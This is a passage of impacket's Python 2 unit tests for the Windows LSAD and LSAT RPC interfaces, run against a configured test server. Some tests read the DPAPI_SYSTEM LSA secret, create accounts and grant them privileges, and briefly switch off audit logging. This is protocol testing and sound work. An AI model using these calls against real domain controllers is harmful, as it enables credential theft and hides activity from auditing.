resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
raise
def test_hLsarEnumerateTrustedDomains(self):
dce, rpctransport, policyHandle = self.connect()
try:
resp = lsad.hLsarEnumerateTrustedDomains(dce, policyHandle)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_MORE_ENTRIES') < 0:
raise
def test_hLsarOpenAccount(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarEnumerateAccounts(dce, policyHandle)
resp.dump()
resp = lsad.hLsarOpenAccount(dce, policyHandle, resp['EnumerationBuffer']['Information'][0]['Sid'].formatCanonical())
resp.dump()
resp = lsad.hLsarClose(dce, resp['AccountHandle'])
resp.dump()
def test_LsarOpenAccount(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarEnumerateAccounts()
request['PolicyHandle'] = policyHandle
request['PreferedMaximumLength'] = 0xffffffff
resp = dce.request(request)
resp.dump()
request = lsad.LsarOpenAccount()
request['PolicyHandle'] = policyHandle
request['AccountSid'] = resp['EnumerationBuffer']['Information'][0]['Sid']
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = lsad.LsarClose()
request['ObjectHandle'] = resp['AccountHandle']
resp = dce.request(request)
resp.dump()
def test_LsarCreateAccount_LsarDeleteObject(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryInformationPolicy2()
request['PolicyHandle'] = policyHandle
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
resp = dce.request(request)
sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
sid = sid + '-9999'
request = lsad.LsarCreateAccount()
request['PolicyHandle'] = policyHandle
request['AccountSid'].fromCanonical(sid)
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = lsad.LsarDeleteObject()
request['ObjectHandle'] = resp['AccountHandle']
resp = dce.request(request)
resp.dump()
def test_hLsarCreateAccount_hLsarDeleteObject(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
sid = sid + '-9999'
resp = lsad.hLsarCreateAccount(dce, policyHandle, sid)
resp.dump()
resp = lsad.hLsarDeleteObject(dce,resp['AccountHandle'])
resp.dump()
def test_LsarEnumeratePrivilegesAccount(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-544'
request = lsad.LsarOpenAccount()
request['PolicyHandle'] = policyHandle
request['AccountSid'].fromCanonical(sid)
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = lsad.LsarEnumeratePrivilegesAccount()
request['AccountHandle'] = resp['AccountHandle']
resp = dce.request(request)
resp.dump()
def test_hLsarEnumeratePrivilegesAccount(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-544'
resp = lsad.hLsarOpenAccount(dce, policyHandle, sid)
resp.dump()
resp = lsad.hLsarEnumeratePrivilegesAccount(dce,resp['AccountHandle'] )
resp.dump()
def test_LsarGetSystemAccessAccount_LsarSetSystemAccessAccount(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-544'
request = lsad.LsarOpenAccount()
request['PolicyHandle'] = policyHandle
request['AccountSid'].fromCanonical(sid)
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = lsad.LsarGetSystemAccessAccount()
request['AccountHandle'] = resp['AccountHandle']
resp2 = dce.request(request)
resp.dump()
request = lsad.LsarSetSystemAccessAccount()
request['AccountHandle'] = resp['AccountHandle']
request['SystemAccess'] = resp2['SystemAccess']
resp = dce.request(request)
resp.dump()
def test_hLsarGetSystemAccessAccount_hLsarSetSystemAccessAccount(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-544'
resp = lsad.hLsarOpenAccount(dce, policyHandle, sid)
resp.dump()
resp2 = lsad.hLsarGetSystemAccessAccount(dce, resp['AccountHandle'])
resp2.dump()
resp = lsad.hLsarSetSystemAccessAccount(dce,resp['AccountHandle'],resp2['SystemAccess'])
resp.dump()
def test_LsarAddPrivilegesToAccount_LsarRemovePrivilegesFromAccount(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryInformationPolicy2()
request['PolicyHandle'] = policyHandle
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
resp = dce.request(request)
sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
sid = sid + '-9999'
request = lsad.LsarCreateAccount()
request['PolicyHandle'] = policyHandle
request['AccountSid'].fromCanonical(sid)
request['DesiredAccess'] = MAXIMUM_ALLOWED | lsad.ACCOUNT_ADJUST_PRIVILEGES
resp = dce.request(request)
resp.dump()
accountHandle = resp['AccountHandle']
request = lsad.LsarAddPrivilegesToAccount()
request['AccountHandle'] = accountHandle
request['Privileges']['PrivilegeCount'] = 1
request['Privileges']['Control'] = 0
attribute = lsad.LSAPR_LUID_AND_ATTRIBUTES()
attribute['Luid']['LowPart'] = 0
attribute['Luid']['HighPart'] = 3
attribute['Attributes'] = 3
request['Privileges']['Privilege'].append(attribute)
try:
resp = dce.request(request)
resp.dump()
except:
request = lsad.LsarDeleteObject()
request['ObjectHandle'] = accountHandle
resp = dce.request(request)
return
request = lsad.LsarRemovePrivilegesFromAccount()
request['AccountHandle'] = accountHandle
request['AllPrivileges'] = 1
request['Privileges'] = NULL
resp = dce.request(request)
resp.dump()
request = lsad.LsarDeleteObject()
request['ObjectHandle'] = accountHandle
resp = dce.request(request)
resp.dump()
def test_hLsarAddPrivilegesToAccount_hLsarRemovePrivilegesFromAccount(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle,lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
sid = sid + '-9999'
resp = lsad.hLsarCreateAccount(dce, policyHandle, sid)
accountHandle = resp['AccountHandle']
attributes = list()
attribute = lsad.LSAPR_LUID_AND_ATTRIBUTES()
attribute['Luid']['LowPart'] = 0
attribute['Luid']['HighPart'] = 3
attribute['Attributes'] = 3
attributes.append(attribute)
try:
resp = lsad.hLsarAddPrivilegesToAccount(dce,accountHandle, attributes)
resp.dump()
except:
resp = lsad.hLsarDeleteObject(dce, accountHandle)
return
resp = lsad.hLsarRemovePrivilegesFromAccount(dce, accountHandle, NULL, 1)
resp.dump()
resp = lsad.hLsarDeleteObject(dce,accountHandle )
resp.dump()
def test_LsarEnumerateAccountRights(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-544'
request = lsad.LsarEnumerateAccountRights()
request['PolicyHandle'] = policyHandle
request['AccountSid'].fromCanonical(sid)
resp = dce.request(request)
resp.dump()
def test_hLsarEnumerateAccountRights(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-544'
resp = lsad.hLsarEnumerateAccountRights(dce, policyHandle, sid)
resp.dump()
def test_LsarAddAccountRights_LsarRemoveAccountRights(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-504'
request = lsad.LsarAddAccountRights()
request['PolicyHandle'] = policyHandle
request['AccountSid'].fromCanonical(sid)
request['UserRights']['EntriesRead'] = 1
right = RPC_UNICODE_STRING()
right['Data'] = 'SeChangeNotifyPrivilege'
request['UserRights']['UserRights'].append(right)
resp = dce.request(request)
resp.dump()
request = lsad.LsarRemoveAccountRights()
request['PolicyHandle'] = policyHandle
request['AccountSid'].fromCanonical(sid)
request['UserRights']['EntriesRead'] = 1
right = RPC_UNICODE_STRING()
right['Data'] = 'SeChangeNotifyPrivilege'
request['UserRights']['UserRights'].append(right)
resp = dce.request(request)
resp.dump()
def test_hLsarAddAccountRights_hLsarRemoveAccountRights(self):
dce, rpctransport, policyHandle = self.connect()
sid = 'S-1-5-32-504'
resp = lsad.hLsarAddAccountRights(dce, policyHandle, sid, ('SeChangeNotifyPrivilege', ))
resp.dump()
resp = lsad.hLsarRemoveAccountRights(dce, policyHandle, sid, ('SeChangeNotifyPrivilege', ))
resp.dump()
def test_LsarCreateSecret_LsarOpenSecret(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarCreateSecret()
request['PolicyHandle'] = policyHandle
request['SecretName'] = 'MYSECRET'
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp = dce.request(request)
resp.dump()
request = lsad.LsarOpenSecret()
request['PolicyHandle'] = policyHandle
request['SecretName'] = 'MYSECRET'
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp0 = dce.request(request)
resp0.dump()
request = lsad.LsarSetSecret()
request['SecretHandle'] = resp0['SecretHandle']
request['EncryptedCurrentValue']['Length'] = 16
request['EncryptedCurrentValue']['MaximumLength'] = 16
request['EncryptedCurrentValue']['Buffer'] = list('A'*16)
request['EncryptedOldValue']['Length'] = 16
request['EncryptedOldValue']['MaximumLength'] = 16
request['EncryptedOldValue']['Buffer'] = list('A'*16)
#request['EncryptedCurrentValue'] = NULL
#request['EncryptedOldValue'] = NULL
try:
resp = dce.request(request)
resp.dump()
except:
pass
request = lsad.LsarDeleteObject()
request['ObjectHandle'] = resp0['SecretHandle']
resp = dce.request(request)
resp.dump()
def test_hLsarCreateSecret_hLsarOpenSecret(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarCreateSecret(dce, policyHandle, 'MYSECRET')
resp.dump()
resp0 = lsad.hLsarOpenSecret(dce, policyHandle, 'MYSECRET')
resp0.dump()
try:
resp = lsad.hLsarSetSecret(dce, resp0['SecretHandle'], 'A'*16, 'A'*16)
resp.dump()
except:
pass
resp = lsad.hLsarDeleteObject(dce,resp0['SecretHandle'])
resp.dump()
def test_LsarQuerySecret(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarOpenSecret()
request['PolicyHandle'] = policyHandle
request['SecretName'] = 'DPAPI_SYSTEM'
request['DesiredAccess'] = MAXIMUM_ALLOWED
resp0 = dce.request(request)
resp0.dump()
request = lsad.LsarQuerySecret()
request['SecretHandle'] = resp0['SecretHandle']
request['EncryptedCurrentValue']['Buffer'] = NULL
request['EncryptedOldValue']['Buffer'] = NULL
request['OldValueSetTime'] = NULL
resp = dce.request(request)
resp.dump()
def test_hLsarQuerySecret(self):
dce, rpctransport, policyHandle = self.connect()
resp0 = lsad.hLsarOpenSecret(dce, policyHandle, 'DPAPI_SYSTEM')
resp0.dump()
resp = lsad.hLsarQuerySecret(dce, resp0['SecretHandle'])
resp.dump()
def test_LsarRetrievePrivateData_LsarStorePrivateData(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarRetrievePrivateData()
request['PolicyHandle'] = policyHandle
request['KeyName'] = 'DPAPI_SYSTEM'
resp0 = dce.request(request)
resp0.dump()
request = lsad.LsarStorePrivateData()
request['PolicyHandle'] = policyHandle
request['KeyName'] = 'BETUS'
request['EncryptedData'] = resp0['EncryptedData']
resp = dce.request(request)
resp.dump()
request = lsad.LsarStorePrivateData()
request['PolicyHandle'] = policyHandle
request['KeyName'] = 'BETUS'
request['EncryptedData'] = NULL
resp = dce.request(request)
resp.dump()
def test_hLsarRetrievePrivateData_hLsarStorePrivateData(self):
dce, rpctransport, policyHandle = self.connect()
resp0 = lsad.hLsarRetrievePrivateData(dce,policyHandle,'DPAPI_SYSTEM')
#hexdump(resp0)
resp = lsad.hLsarStorePrivateData(dce, policyHandle, 'BETUS', resp0)
resp.dump()
resp = lsad.hLsarStorePrivateData(dce, policyHandle, 'BETUS', NULL)
resp.dump()
def test_LsarEnumeratePrivileges(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarEnumeratePrivileges()
request['PolicyHandle'] = policyHandle
request['EnumerationContext'] = 0
request['PreferedMaximumLength'] = 0xffffffff
resp = dce.request(request)
resp.dump()
self.assertTrue( resp['EnumerationBuffer']['Entries'] == len(resp['EnumerationBuffer']['Privileges'] ) )
def test_hLsarEnumeratePrivileges(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarEnumeratePrivileges(dce, policyHandle)
resp.dump()
self.assertTrue( resp['EnumerationBuffer']['Entries'] == len(resp['EnumerationBuffer']['Privileges'] ) )
def test_LsarLookupPrivilegeValue_LsarLookupPrivilegeName(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarLookupPrivilegeValue()
request['PolicyHandle'] = policyHandle
request['Name'] = u'SeTimeZonePrivilege'
resp = dce.request(request)
resp.dump()
request = lsad.LsarLookupPrivilegeName()
request['PolicyHandle'] = policyHandle
request['Value'] = resp['Value']
resp = dce.request(request)
resp.dump()
self.assertTrue( resp['Name'] == 'SeTimeZonePrivilege')
def test_hLsarLookupPrivilegeValue_hLsarLookupPrivilegeName(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarLookupPrivilegeValue(dce, policyHandle,'SeTimeZonePrivilege' )
resp.dump()
resp = lsad.hLsarLookupPrivilegeName(dce, policyHandle, resp['Value'])
resp.dump()
self.assertTrue( resp['Name'] == 'SeTimeZonePrivilege')
def test_LsarLookupPrivilegeDisplayName(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarLookupPrivilegeDisplayName()
request['PolicyHandle'] = policyHandle
request['Name'] = u'SeTimeZonePrivilege'
request['ClientLanguage'] = 1
request['ClientSystemDefaultLanguage'] = 1
resp = dce.request(request)
resp.dump()
def test_LsarQuerySecurityObject_LsarSetSecurityObject(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQuerySecurityObject()
request['PolicyHandle'] = policyHandle
request['SecurityInformation'] = lsad.OWNER_SECURITY_INFORMATION
resp = dce.request(request)
resp.dump()
self.assertTrue( resp['SecurityDescriptor']['Length'] == len(resp['SecurityDescriptor']['SecurityDescriptor']) )
request = lsad.LsarSetSecurityObject()
request['PolicyHandle'] = policyHandle
request['SecurityInformation'] = lsad.OWNER_SECURITY_INFORMATION
request['SecurityDescriptor'] = resp['SecurityDescriptor']
resp = dce.request(request)
resp.dump()
def test_hLsarQuerySecurityObject_hLsarSetSecurityObject(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarQuerySecurityObject(dce, policyHandle, lsad.OWNER_SECURITY_INFORMATION)
#hexdump(resp)
resp = lsad.hLsarSetSecurityObject(dce, policyHandle, lsad.OWNER_SECURITY_INFORMATION,resp)
resp.dump()
def test_LsarQueryForestTrustInformation(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryForestTrustInformation()
request['PolicyHandle'] = policyHandle
request['TrustedDomainName'] = 'CORE'
request['HighestRecordType'] = lsad.LSA_FOREST_TRUST_RECORD_TYPE.ForestTrustTopLevelName
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
raise
def test_LsarSetInformationPolicy2(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryInformationPolicy2()
request['PolicyHandle'] = policyHandle
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
resp = dce.request(request)
resp.dump()
oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
req = lsad.LsarSetInformationPolicy2()
req['PolicyHandle'] = policyHandle
req['InformationClass'] = request['InformationClass']
req['PolicyInformation'] = resp['PolicyInformation']
req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
resp2 = dce.request(req)
resp2.dump()
resp = dce.request(request)
resp.dump()
req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
resp2 = dce.request(req)
resp2.dump()
################################################################################
#request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
#resp = dce.request(request)
#resp.dump()
#oldValue = resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']
#req = lsad.LsarSetInformationPolicy2()
#req['PolicyHandle'] = policyHandle
#req['InformationClass'] = request['InformationClass']
#req['PolicyInformation'] = resp['PolicyInformation']
#req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = 'BETUS'
#resp2 = dce.request(req)
#resp2.dump()
#resp = dce.request(request)
#resp.dump()
#self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] )
#req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue
#resp2 = dce.request(req)
#resp2.dump()
################################################################################
#request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
#resp = dce.request(request)
#resp.dump()
#oldValue = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']
#req = lsad.LsarSetInformationPolicy2()
#req['PolicyHandle'] = policyHandle
#req['InformationClass'] = request['InformationClass']
#req['PolicyInformation'] = resp['PolicyInformation']
#req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = 'BETUS'
#resp2 = dce.request(req)
#resp2.dump()
#resp = dce.request(request)
#resp.dump()
#self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] )
#req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue
#resp2 = dce.request(req)
#resp2.dump()
################################################################################
# ToDo rest of the Information Classes
def test_hLsarSetInformationPolicy2(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
resp.dump()
oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
resp2.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
resp.dump()
resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
resp2.dump()
def test_LsarSetInformationPolicy(self):
dce, rpctransport, policyHandle = self.connect()
request = lsad.LsarQueryInformationPolicy()
request['PolicyHandle'] = policyHandle
request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation
resp = dce.request(request)
resp.dump()
oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
req = lsad.LsarSetInformationPolicy()
req['PolicyHandle'] = policyHandle
req['InformationClass'] = request['InformationClass']
req['PolicyInformation'] = resp['PolicyInformation']
req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
resp2 = dce.request(req)
resp2.dump()
resp = dce.request(request)
resp.dump()
req['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
resp2 = dce.request(req)
resp2.dump()
################################################################################
#request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation
#resp = dce.request(request)
#resp.dump()
#oldValue = resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name']
#req = lsad.LsarSetInformationPolicy()
#req['PolicyHandle'] = policyHandle
#req['InformationClass'] = request['InformationClass']
#req['PolicyInformation'] = resp['PolicyInformation']
#req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = 'BETUS'
#resp2 = dce.request(req)
#resp2.dump()
#resp = dce.request(request)
#resp.dump()
#self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] )
#req['PolicyInformation']['PolicyPrimaryDomainInfo']['Name'] = oldValue
#resp2 = dce.request(req)
#resp2.dump()
################################################################################
#request['InformationClass'] = lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
#resp = dce.request(request)
#resp.dump()
#oldValue = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName']
#req = lsad.LsarSetInformationPolicy()
#req['PolicyHandle'] = policyHandle
#req['InformationClass'] = request['InformationClass']
#req['PolicyInformation'] = resp['PolicyInformation']
#req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = 'BETUS'
#resp2 = dce.request(req)
#resp2.dump()
#resp = dce.request(request)
#resp.dump()
#self.assertTrue( 'BETUS' == resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] )
#req['PolicyInformation']['PolicyAccountDomainInfo']['DomainName'] = oldValue
#resp2 = dce.request(req)
#resp2.dump()
################################################################################
# ToDo rest of the Information Classes
def test_hLsarSetInformationPolicy(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsad.hLsarQueryInformationPolicy(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
resp.dump()
oldValue = resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode']
resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = 0
resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
resp2.dump()
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation)
resp.dump()
resp['PolicyInformation']['PolicyAuditEventsInfo']['AuditingMode'] = oldValue
resp2 = lsad.hLsarSetInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAuditEventsInformation, resp['PolicyInformation'] )
resp2.dump()
class SMBTransport(LSADTests):
def setUp(self):
LSADTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
class SMBTransport64(LSADTests):
def setUp(self):
LSADTests.setUp(self)
configFile = ConfigParser.ConfigParser()
configFile.read('dcetests.cfg')
self.username = configFile.get('SMBTransport', 'username')
self.domain = configFile.get('SMBTransport', 'domain')
self.serverName = configFile.get('SMBTransport', 'servername')
self.password = configFile.get('SMBTransport', 'password')
self.machine = configFile.get('SMBTransport', 'machine')
self.hashes = configFile.get('SMBTransport', 'hashes')
self.stringBinding = r'ncacn_np:%s[\PIPE\lsarpc]' % self.machine
self.ts = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')
# Process command-line arguments.
if __name__ == '__main__':
import sys
if len(sys.argv) > 1:
testcase = sys.argv[1]
suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase])
else:
suite = unittest.TestLoader().loadTestsFromTestCase(SMBTransport)
suite.addTests(unittest.TestLoader().loadTestsFromTestCase(SMBTransport64))
unittest.TextTestRunner(verbosity=1).run(suite)
impacket-0.9.15/impacket/testcases/SMB_RPC/test_lsat.py 0000600 0000765 0000000 00000033763 12734531507 022761 0 ustar beto wheel 0000000 0000000 ###############################################################################
# Tested so far:
#
# LsarGetUserName
# LsarLookupNames
# LsarLookupSids
# LsarLookupSids2
# LsarLookupNames3
# LsarLookupNames2
#
# Not yet:
#
# LsarLookupNames4
# LsarLookupSids3
#
# Shouldn't dump errors against a win7
#
################################################################################
import unittest
import ConfigParser
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5 import lsat
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
class LSATTests(unittest.TestCase):
def connect(self):
rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
if len(self.hashes) > 0:
lmhash, nthash = self.hashes.split(':')
else:
lmhash = ''
nthash = ''
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.connect()
dce.bind(lsat.MSRPC_UUID_LSAT, transfer_syntax = self.ts)
request = lsat.LsarOpenPolicy2()
request['SystemName'] = NULL
request['ObjectAttributes']['RootDirectory'] = NULL
request['ObjectAttributes']['ObjectName'] = NULL
request['ObjectAttributes']['SecurityDescriptor'] = NULL
request['ObjectAttributes']['SecurityQualityOfService'] = NULL
request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
resp = dce.request(request)
return dce, rpctransport, resp['PolicyHandle']
def test_LsarGetUserName(self):
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarGetUserName()
request['SystemName'] = NULL
request['UserName'] = NULL
request['DomainName'] = NULL
resp = dce.request(request)
resp.dump()
def test_hLsarGetUserName(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsat.hLsarGetUserName(dce)
resp.dump()
def test_LsarLookupNames4(self):
# not working, I need netlogon here
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarLookupNames4()
request['Count'] = 2
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'Administrator'
name2 = RPC_UNICODE_STRING()
name2['Data'] = 'Guest'
request['Names'].append(name1)
request['Names'].append(name2)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
request['LookupOptions'] = 0x00000000
request['ClientRevision'] = 0x00000001
try:
resp = dce.request(request)
resp.dump()
except Exception, e:
# The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider
# (as specified in [MS-RPCE] section 2.2.1.1.7) and at least
# RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in
# [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.
# Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_hLsarLookupNames4(self):
# not working, I need netlogon here
dce, rpctransport, policyHandle = self.connect()
try:
resp = lsat.hLsarLookupNames4(dce, ('Administrator', 'Guest'))
resp.dump()
except Exception, e:
# The RPC server MUST ensure that the RPC_C_AUTHN_NETLOGON security provider
# (as specified in [MS-RPCE] section 2.2.1.1.7) and at least
# RPC_C_AUTHN_LEVEL_PKT_INTEGRITY authentication level (as specified in
# [MS-RPCE] section 2.2.1.1.8) are used in this RPC message.
# Otherwise, the RPC server MUST return STATUS_ACCESS_DENIED.
if str(e).find('rpc_s_access_denied') < 0:
raise
def test_LsarLookupNames3(self):
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarLookupNames3()
request['PolicyHandle'] = policyHandle
request['Count'] = 2
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'Administrator'
name2 = RPC_UNICODE_STRING()
name2['Data'] = 'Guest'
request['Names'].append(name1)
request['Names'].append(name2)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
request['LookupOptions'] = 0x00000000
request['ClientRevision'] = 0x00000001
resp = dce.request(request)
resp.dump()
def test_hLsarLookupNames3(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsat.hLsarLookupNames3(dce, policyHandle, ('Administrator', 'Guest'))
resp.dump()
def test_LsarLookupNames2(self):
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarLookupNames2()
request['PolicyHandle'] = policyHandle
request['Count'] = 2
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'Administrator'
name2 = RPC_UNICODE_STRING()
name2['Data'] = 'Guest'
request['Names'].append(name1)
request['Names'].append(name2)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
request['LookupOptions'] = 0x00000000
request['ClientRevision'] = 0x00000001
resp = dce.request(request)
resp.dump()
def test_hLsarLookupNames2(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsat.hLsarLookupNames2(dce, policyHandle, ('Administrator', 'Guest'))
resp.dump()
def test_hLsarLookupNames(self):
dce, rpctransport, policyHandle = self.connect()
resp = lsat.hLsarLookupNames(dce, policyHandle, ('Administrator', 'Guest'))
resp.dump()
def test_LsarLookupNames(self):
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = 2
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'Administrator'
name2 = RPC_UNICODE_STRING()
name2['Data'] = 'Guest'
request['Names'].append(name1)
request['Names'].append(name2)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
resp.dump()
def test_LsarLookupSids3(self):
# not working, I need netlogon here
dce, rpctransport, policyHandle = self.connect()
request = lsat.LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = 1
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'Administrator'
request['Names'].append(name1)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
resp.dump()
domainSid = resp['ReferencedDomains']['Domains'][0]['Sid'].formatCanonical()
request = lsat.LsarLookupSids3()
sid1 = lsat.LSAPR_SID_INFORMATION()
